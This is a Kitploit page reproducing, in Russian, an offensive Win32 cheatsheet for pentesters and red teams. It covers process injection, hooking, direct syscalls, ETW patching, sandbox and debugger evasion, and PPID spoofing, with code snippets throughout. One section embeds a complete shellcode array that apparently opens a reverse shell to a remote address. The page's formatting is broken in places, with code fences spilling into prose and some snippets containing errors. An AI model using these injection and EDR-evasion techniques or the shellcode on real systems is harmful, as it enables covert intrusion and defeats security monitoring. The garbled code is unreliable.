Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Win32_Offensive_Cheatsheet — Win32 and Kernel abusing techniques for pentesters | Kitploit
Инструменты/GitHubGitHub/matthieu-hackwitharts/win32_offensive_cheatsheet
Persistence MechanismsExploitationIDS/IPS EvasionReverse EngineeringPost-ExploitationPenetration TestingBinary AnalysisLearning & EducationRed Teaming

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Curated Resources
Payload Development
GitHubmatthieu-hackwitharts/win32_offensive_cheatsheet

Win32_Offensive_Cheatsheet

Win32 and Kernel abusing techniques for pentesters

Репозиторий
9811362 лет назадПроверено Kitploit

Оффенсивная шпаргалка по Win32

Техники злоупотребления Win32 и ядром для пентестеров и red-team-специалистов от @UVision и @RistBS

Режим разработчика включён, открыт для любой помощи :)

  • Документация по Windows Binary
    • Структура PE
    • Заголовки PE
    • Разбор PE
    • Таблица адресов экспорта (EAT)
    • Разрешение адреса функции
    • Таблица адресов импорта (IAT)
      • Разбор IAT
    • Таблица поиска импорта (ILT)
    • Включение привилегии SeDebug
  • Выполнение бинарного файла
    • Классическое выполнение шеллкода
    • Выполнение DLL
    • RAW-файл в PE
  • Техники внедрения кода
    • Внедрение через CreateRemoteThread
    • Process Hollowing
    • Техника очереди APC
    • Early Bird
    • Рефлексивное внедрение DLL
    • Внедрение DLL
    • Process Doppelganging
    • Волокна (Fibers)
    • CreateThreadPoolWait
    • Перехват потока (Thread Hijacking)
    • Внедрение кода через MapView
    • Module Stomping
    • Function Stomping
  • Техники хукинга
    • Inline-хукинг
    • Хукинг IAT
  • Техники обхода реверс-инжиниринга
    • Обфускация вызовов и строк
    • Ручное разрешение функций
    • Хеширование Win32 API
  • Обход EDR/Endpoint
    • Прямой системный вызов
    • Языки высокого уровня
    • Патч inline-хуков
    • Обнаружение хуков
    • Патч ETW
    • Обход песочницы
    • Обход отладки
    • Техника VirtualProtect
    • Снятие хуков с помощью свежей копии
    • Hell's Gate
    • Heaven's Gate
    • Спуфинг PPID
    • Колбэк инструментирования процесса
    • Шифрование кучи
    • Обфускация сна
  • Основы программирования драйверов
    • Общие концепции
    • Таблица диспетчеризации системных служб (SSDT)
    • Точка входа драйвера
    • Ввод-вывод)
    • Взаимодействие с драйвером
    • Подпись драйверов (Microsoft)
    • Пользовательские колбэки (ObRegisterCallbacks)
  • Атакующее программирование драйверов
    • Патч колбэка ядра
    • Патч защищённого процесса
  • Использование Win32 API для повышения OPSEC
    • Персистентность
      • Планировщик заданий
    • Спуфинг командной строки
  • Разное
    • Соглашение о вызовах x64
    • Косвенное выполнение
      • Обход CFG с помощью SetProcessValidCallTargets

  • Вредоносные/сложные техники
    • Случай Emotet: спуфинг PPID через WMI
    • Техника скрытых файлов вредоноса Zeus
    • Техника хукинга кейлогера SpyEye
    • Самая нелепая остановка вредоноса (WannaCry)

Документация по Windows Binary

Полезные инструменты и сайты/книги/шпаргалки

  • 🔹 https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/ (Очень хорошая шпаргалка)
  • 🔹 https://www.ired.team/ (Отличная шпаргалка для red team с прекрасными заметками по внедрению кода)
  • 🔹 https://undocumented.ntinternals.net/ (Недокументированные функции NT)
  • 🔹 https://docs.microsoft.com/en-us/windows/win32/api/ (Официальная документация Microsoft)
  • 🔹 Windows Kernel Programming - Pavel Yosifovich
  • 🔹 https://research.checkpoint.com/ (Очень интересные материалы об обходе, антиотладке и многом другом)
  • 🔹 https://www.vx-underground.org/ (Отличный контент о разработке вредоносов и реверсе)

Структура PE

Заголовки PE

  • DOS_HEADER : Первый заголовок PE, содержит сообщение MS DOS ("This programm cannot be run in DOS mode...."), MZ-заголовок (магические байты для идентификации PE) и немного заглушки.
  • IMAGE_NT_HEADER : Содержит сигнатуру PE-файла, заголовок файла и опциональный заголовок
  • SECTION_TABLE : Содержит заголовки секций
  • SECTIONS : Не заголовок, но полезно знать: это секции PE

Подробнее : https://www.researchgate.net/figure/PE-structure-of-normal-executable_fig1_259647266

Разбор PE

Простой разбор PE для получения абсолютных адресов IAT и ILT:

  • Получить базовый адрес : GetModuleHandleA(NULL);
  • PIMAGE_DOS_HEADER = базовый адрес, DOS-заголовок
  • PIMAGE_NT_HEADER = BaseAddress+PIMAGE_DOS_HEADER.e_lfnanew (RVA NT_HEADER)
  • IMAGE_DATA_DIRECTORY = OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] из PIMAGE_NT_HEADER
  • IMAGE_IMPORT_DIRECTORY = IMAGE_DATA_DIRECTORY.VirtualAddress (RVA структуры IMAGE_IMPORT_DIRECTORY)
  • IMAGE_IMPORT_DESCRIPTOR = BaseAddress + IMAGE_IMPORT_DIRECTORY.VirtualAddress (RVA структуры IMAGE_IMPORT_DESCRIPTOR)
  • Абсолютный адрес IAT : IMAGE_IMPORT_DESCRIPTOR.FirstThunk (RVA IAT) + BaseAddress
  • Абсолютный адрес ILT : IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk (RVA ILT) + BaseAddress

Таблица адресов экспорта (EAT)

EAT разрешает все функции, экспортируемые PE, а также разрешает DLL. Она определена в структуре IMAGE_EXPORT_DIRECTORY:```c
typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; // name of DLL DWORD Base; // first ordinal number DWORD NumberOfFunctions; // number of entries in EAT DWORD NumberOfNames; // number of entries in (1) (2) DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions DWORD AddressOfNames; // Pointer array contains address of function names DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions) } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

root@kitploit:~
Обратите внимание, что EAT определена в DLL, а не в «настоящем» PE (PE будет использовать EAT загруженной DLL для разрешения указателей на функции, которые он хочет использовать).
 
### Определение адреса функции

**С использованием адреса функции**
 
Чего вы ждёте ? Найдите эту функцию !
 
**С использованием порядкового номера**
 
Порядковый номер — это **индекс позиции** соответствующего адреса функции в массиве `AddressOfFunctions`. Его можно использовать для **получения правильного адреса функции**, как показано ниже :
 
 Давайте попробуем найти соответствующий адрес (Addr4) по заданному порядковому номеру 3.
 
 - **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
 - **AdressOfNameOrdinals** : *2 5 7 3 ... N*
 
 Искомый адрес находится на 3-й позиции (начиная с 0), и наш порядковый номер соответствует **индексу этого адреса**.
 
 **С использованием имени функции**
 
N-й элемент массива AddressOfNames соответствует N-му элементу массива AddressOfNameOrdinals : используя заданное имя, вы можете получить соответствующий порядковый номер, а затем найти адрес функции с его помощью.

## Таблица адресов импорта (IAT)

- Загрузчик PE не знает, какой адрес какой функции соответствует : давайте обратимся к IAT, чтобы он нас спас 
- Определяется в структуре IMAGE_IMPORT_DIRECTORY:```c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    DWORD	Characteristics; 
    DWORD	OriginalFirstThunk;	// RVA to ILT
    DWORD	TimeDateStamp;	
    DWORD	ForwarderChain;
    DWORD	Name; 		        // RVA of imported DLL name
    DWORD	FirstThunk;             // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;

Подводя итог, IAT — это таблица, содержащая указатели на несколько функций, которые импортируются PE-файлом из загруженных DLL (ntdll, kernel32...).

Парсинг IAT

  1. Получить RVA IAT
  2. Пройтись по структуре IMPORT_DESCRIPTOR : член Name содержит RVA имени текущей DLL
  3. Чтобы получить настоящее имя DLL : найдите его в ILT (originalFirstThunk+BaseAddress)
  4. Чтобы получить экспортируемые функции текущей DLL : PIMAGE_IMPORT_BY_NAME function_name->Name = ImageBase+AdressOfData

Подробный пример кода здесь : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp

Таблица поиска импорта

Каждая DLL, импортируемая PE-файлом, имеет собственную ILT.``` Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)

root@kitploit:~
Он содержит имена всех функций, которые находятся в импортированной DLL.

<br>


## Включение привилегии SeDebug

Привилегия **SeDebug** — это самая «желанная» привилегия во всём списке привилегий Windows. Она позволяет «отлаживать» любой авторизованный процесс, что можно интерпретировать как ряд наступательных действий, например открытие дескриптора с привилегиями ```PROCESS_ALL_ACCESS```.

Чтобы включить её в пользовательском режиме, вам потребуется использовать функцию, например:```cpp
void EnableDebugPriv()
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tkp;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);

    CloseHandle(hToken); 
}

Эта функция откроет токен текущего процесса, а затем изменит его на привилегию SE_PRIVILEGE_ENABLED, которая соответствует целевой привилегии.

Выполнение бинарного файла

Классическое выполнение шеллкода

Пример кода : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/classic.cpp

Выполнение DLL

Несколько лет назад эта техника имела хорошие показатели успешного обхода; однако из-за растущего числа EDR и других endpoint-решений записи на диск по возможности следует избегать.

Пример кода : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_classic.cpp

Raw-файл в PE

Вы можете выполнить необработанный бинарный файл в памяти, выделив пространство его размера в области памяти :```cpp HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL); SIZE_T size = GetFileSize(binfile,NULL); LPVOID buffer=NULL; ReadFile(binfile,buffer,size,NULL,NULL); HANDLE hProc = GetCurrentProcess();

CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); CloseHandle(hProc);

root@kitploit:~
<br>

# Техники внедрения кода

## Инъекция CreateRemoteThread

Просто запишите ваш шелл-код в заранее выделенную область памяти внутри целевого процесса. (Не соответствует OPSEC)

> Пример кода: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp

## Выдалбливание процесса (Process Hollowing)

Выдалбливание процесса выполняется в несколько этапов:

- Создайте целевой процесс («выдолбленный») в приостановленном режиме: это необходимо для его изменения
- Размапьте целевой процесс из его PEB (вы должны сначала объявить эту структуру)
- Запишите содержимое нового exe в этот процесс: заголовки + содержимое
- Разберите и примените таблицу перемещений
- Позвольте процессу продолжить выполнение в его потоке
- Наслаждайтесь

> Полный POC можно найти здесь: https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations

## Техника очереди APC

Внедрите ваш шелл-код во все доступные потоки процесса, затем используйте функцию ```QueueUserAPC()``` для постановки APC-вызова в очередь. Эта техника может быть ненадёжной, если в скомпрометированном процессе мало потоков.

> Пример кода: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp

## Early Bird

Похоже на инъекцию через очередь APC, за исключением того, что здесь APC-вызов должен быть установлен в приостановленном процессе. Затем главный поток созданного процесса возобновляется; главное преимущество этой техники в том, что отказ от записи шелл-кода в запущенный процесс снижает вероятность обнаружения антивирусами/EDR.

> Пример кода: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp

## Отражающая DLL-инъекция (Reflective DLL Injection)

Как и в случае «статической» DLL-инъекции (с использованием DLL-файла), вы можете внедрить собственную DLL в большинство процессов, отражая её в памяти. Это даёт преимущество лёгкого обхода некоторых антивирусных/EDR-продуктов, хотя сегодня этот метод довольно часто детектируется.

Сначала вы должны выделить память и выполнить некоторую работу по перемещению (reloc), чтобы всё заработало.

Хорошо известный POC этой техники был опубликован stephenfewer: https://github.com/stephenfewer/ReflectiveDLLInjection

## DLL-инъекция

Вы можете внедрить код, хранящийся в DLL, в удалённый процесс. К сожалению, EDR-продукты, скорее всего, легко его обнаружат, особенно если вредоносная DLL касается диска.

> Пример кода: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp

## Process Doppelganging

Process Doppelganging до недавнего времени был незаметным методом запуска вашей полезной нагрузки хитроумным способом. Он был продемонстрирован на BlackHat 2017 Талем Либерманом и Юджином Коганом, см. их потрясающую работу: https://www.youtube.com/watch?v=Cch8dvp836w

Это «промежуточный» шаг перед техникой выдалбливания процесса: образ PE действительно перезаписывается до того, как он будет выполнен, поэтому WindowsLoader выполняет Process Hollowing за нас (здорово, не так ли?).

Hasherezade создала отличные POC этой техники, доступные здесь: https://github.com/hasherezade/process_doppelganging

## Волокна (Fibers)

Волокна можно определить как ```cooperatively 
threads (https://nullprogram.com/blog/2019/03/28/)```. Они позволяют главной программе выполнять шелл-код через этот новый тип потока.

> Пример кода: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp

## Инъекция кода через MapView

Эта техника позволяет вам разделить представление участка памяти в вашем вредоносном процессе с другим удалённым процессом, который выполнит ваш шелл-код, хранящийся в этом представлении. Это можно сделать с помощью NtCreateSection/NtMapViewOfSection, избегая использования активно отслеживаемых процедур, таких как WriteProcessMemory() или VirtualAlloc() (однако NtMapViewOfSection также может отслеживаться).

Пример кода: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp

## Module Stomping

Эта техника приводит к тому, что ваш beacon подкрепляется модулем на диске```c
CHAR moduleName[]  = "windows.storage.dll\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);

DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection 	   += 0x1000 * 0x2;
RXSection  	   += 0xc;
char* ptr 	    = ( char* )RXSection;

для обнаружения module stomping (особенно для Cobalt Strike) был выпущен сканер DetectCobaltStomp для выявления некоторых IoC данной техники, но автору Brute Ratel удалось улучшить исходную технику.

Function Stomping

Просто замените исходный адрес функции (полученный с помощью GetProcAddress) на новый. Эта техника хорошо описана её автором: https://idov31.github.io/2022-01-28-function-stomping/


Техники хукинга

Инлайн-хукинг

Инлайн-хукинг — это самый простой способ перехвата функции: он заключается в перенаправлении вызова API на вашу собственную функцию (jump)

Пример кода: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

Хукинг IAT

Изменив адрес соответствующей функции на указатель на вашу собственную функцию, вы можете заставить программу выполнить ваш собственный код.

Это можно сделать, выполнив несколько шагов:

  • Найдите относительный адрес IAT
  • Проанализируйте IAT, чтобы найти функцию, которую вы хотите перехватить
  • Замените адрес этой функции ("патч") на адрес вашей функции
  • Наслаждайтесь

Пример кода: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp


Техники обхода RE

Обфускация вызовов и строк

Существует несколько техник, которые можно использовать для сокрытия ваших вызовов к Win32 API; вот некоторые из них:

  • Используйте массив char[], чтобы разбить имена ваших функций/DLL на несколько символов```cpp char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte
root@kitploit:~
> Вы даже можете комбинировать этот приём с преобразованием ASCII-кодов символов.

## Ручное разрешение функций

Вы можете вручную разрешить указатель на любую функцию kernel32, ntdll и так далее.

- Сначала объявите шаблон вашей функции, основываясь на реальном заголовке функции :```cpp
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
  • Затем разрешите указатель на функцию:```cpp myOpenProcess op_proc = (myOpenProcess*)GetProcAddress(LoadLibraryA("ndll.dll"),"OpenProcess")); op_proc(PROCESS_ALL_ACCESS,NULL,12345);
root@kitploit:~
> Не стесняйтесь комбинировать этот метод с обфускацией строк, чтобы не передавать реальное имя функции в открытом виде.

## Хеширование Win32 API

Вы можете скрыть свои вызовы API-функций, хешируя их с помощью какого-либо хеш-алгоритма (djb2 — самый используемый), но остерегайтесь коллизий хешей, которые возможны для некоторых особых функций. Затем комбинируйте этот приём с прямым разрешением адресов в EAT, и пусть реверсеры плачут :)

<br>

# Обход EDR/Endpoint


## Прямой системный вызов

Большинство EDR-продуктов перехватывают вызовы win32 api в пользовательском режиме (PatchGuard значительно снижает доступность перехвата в ядре). Чтобы избежать этих перехватов, можно напрямую вызывать Nt()-эквиваленты ваших API-функций.

-```asm
.code
	SysNtCreateFile proc
			mov r10, rcx //syscall convention
			mov eax, 55h //syscall number : in this case it's NtCreateFile
			syscall //call nt function
			ret
	SysNtCreateFile endp
end

Найдите правильный номер системного вызова в этой таблице: https://j00ru.vexillium.org/syscalls/nt/64/

  • Создайте прототип функции с использованием `NTSTATUS````cpp EXTERN_C NTSTATUS SysNtCreateFile( PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
root@kitploit:~
- Разрешите NT-адрес```cpp
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");

Code sample : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/direct_syscall.cpp

Языки высокого уровня

C++/C часто чаще помечаются продуктами AV/EDR, чем эквивалентные языки высокого уровня: используйте Go, Rust или другие языки для создания ваших лучших шаблонов.

Патч inline-хуков

Просто (пере)хукайте ваши перехваченные функции, применяя правильный вызов функции: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

Обнаружение хуков

Чтобы обнаружить хуки, сначала получите базовый адрес NTDLL с помощью LoadLibrary, затем разберите PE-заголовки, чтобы найти EAT (IMAGE_EXPORT_DIRECTORY) и его смещения, которые будут содержать всю важную информацию (экспортируемые функции + имена). Просто разрешите имена функций и адреса, перебирая экспортируемые функции, и примените следующие операторы if, чтобы отсортировать функции

  • отсортируйте функции, чтобы получить только функции Nt или Zw```c if (strncmp(functionName, (char*)"Nt", 2) == 0 || strncmp(functionName, (char*)"Zw", 2) == 0) { // ... }
root@kitploit:~
> **⚠️** : некоторые функции дают ложные срабатывания, я рекомендую вам их выявить :```c
        if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
             strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
              strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
               strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
                strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
                 strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
                  strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
  • для последнего оператора if проверьте, равны ли первые 4 байта functionName значению mov r10, rcx; mov eax, ##, которое является началом заглушки системного вызова```c if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }
root@kitploit:~
> Пример кода: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c


## Патчинг ETW

Event Tracing for Windows (ETW) — это низкоуровневый API журналирования, который можно использовать для отладки/журналирования процессов ядра и пользовательского режима. Он был впервые реализован в Windows 2000, но мониторинг в реальном времени стал по-настоящему доступен только с Windows XP.

API ETW доступен в заголовочных файлах, предоставляемых Microsoft : https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/

Во время пентеста следует позаботиться об этой функциональности, пропатчив её : самый распространённый способ — записать произвольные опкоды ```ret``` в функцию записи событий ETW (```EtwEventWrite```), чтобы журналы никуда не записывались.

Пример кода : //

## Обход песочницы

Песочницы довольно часто используются AV/EDR для тестирования некоторых API-вызовов и других частей кода перед реальным выполнением вашей программы. Существует несколько техник обхода этого инструмента, вот некоторые из них :

- Ждите. Серьёзно. Такая функция, как `Sleep()` или `time.sleep()`, или эквивалентная, сделает своё дело, — нужно подождать несколько секунд перед выполнением реального шеллкода.
- Попробуйте выделить много памяти (malloc), например 100000000 байт.
- Попробуйте определить, находитесь ли вы на самом деле в песочнице (VM) : проверьте открытые процессы, файлы и другие подозрительные вещи.
- Попробуйте обратиться к фейковому (неработающему) URL : многие AV-продукты ответят поддельной страницей.
- Используйте странные и редко применяемые API-вызовы, например `VirtualAllocExNuma()` — большинство песочниц не могут эмулировать такой тип вызова.```cpp
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);

Обход отладки

Это не настоящая техника обхода AV, но всё же полезна, чтобы не позволить реверс-инженерам слишком легко вас декомпилировать. Существует множество способов обнаружить отладчики или свести их с ума; вот некоторые из них :

Метод флагов

Вы можете использовать IsDebuggerPresent() (Win32) или напрямую вызвать NtQueryInformationProcess() (не очень хорошо документированный), чтобы проверить флаги отладки.

Метод дескрипторов

Попробуйте закрыть недействительные (отсутствующие) дескрипторы с помощью API CloseHandle(). Отладчик попытается перехватить исключение, что можно легко обнаружить :```cpp bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle { __try { CloseHandle((HANDLE)0xDEADBEEF); return false; } __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode() ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { return true; } }

root@kitploit:~
**Способ ASM**

Попробуйте сделать вызов INT 3 (ASM) : это эквивалент программной точки останова, который вызовет отладчик. Существует множество других способов обнаружения отладчика, многие из которых собраны по адресу : https://anti-debug.checkpoint.com/

## Техника VirtualProtect

Используя некоторые трюки с `VirtualProtect()`, вы можете легко избежать обнаружения в памяти : переключайтесь между `PAGE_EXECUTE_READWRITE` и `PAGE_READWRITE` (менее подозрительным), чтобы не вызывать срабатывание вашего любимого антивируса.

## Fresh Copy Unhook

Избегайте хуков, заменяя "перехваченную" ntdll на свежую, напрямую отображаемую с диска.

Пример кода : // to add

## Hells Gate

Чтобы избежать использования жестко заданных сис-вызовов, Hell's Gate (Hells Gates ?) получает их динамически, разбирая EAT (сравнивая байты памяти с опкодами сис-вызовов). Оригинальный Poc был создан великой командой VX-Underground и доступен здесь : https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z

Ещё один пример : https://github.com/am0nsec/HellsGate

## Heavens Gate

Используйте Wow64 для внедрения 64-битной полезной нагрузки в 32-битный загрузчик. Это может быть полезно для обхода некоторых AV/EDR, поскольку Wow64 позволит избежать обнаружения в userland.

Наиболее известная версия этой техники была создана командой MSF, смотрите их отличную работу здесь : https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm

## CreateThreadPoolWait

Злоупотребляя функцией CreateThreadPoolWait(), которая может принимать указатель на функцию обратного вызова, вы можете выполнить свой шелл-код через эту процедуру. Множество похожих техник (с использованием указателя на функцию обратного вызова) доступно по адресу : http://ropgadget.com/posts/abusing_win_functions.html

Пример :```cpp
//code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait

#include <windows.h>
#include <threadpoolapiset.h>

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


int main()
{
	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
	SetThreadpoolWait(threadPoolWait, event, NULL);
	WaitForSingleObject(event, INFINITE);
	
	return 0;
}

Thread Hijacking

Перехватите поток в удалённом процессе, приостановив его, а затем замените его регистр RIP (или EIP, если вы используете x86) на адрес вашего шеллкода.

Пример кода : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/thread_hijacking.c

PPID Spoofing

Когда подозрительный/аномальный процесс запускается под «легитимным» или не отслеживаемым родительским процессом, это выглядит очень подозрительно. Подумайте о вредоносном макросе Word, который разворачивает процесс powershell : это же странно, правда ?

Спуфинг PPID может избежать этого, позволяя вам изменить идентификатор родительского процесса (PPID) вашего порождённого процесса.```cpp #include <windows.h> #include <TlHelp32.h> #include

//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));

root@kitploit:~
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);

InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

return 0;

}

root@kitploit:~
## Process Instrumentation Callback

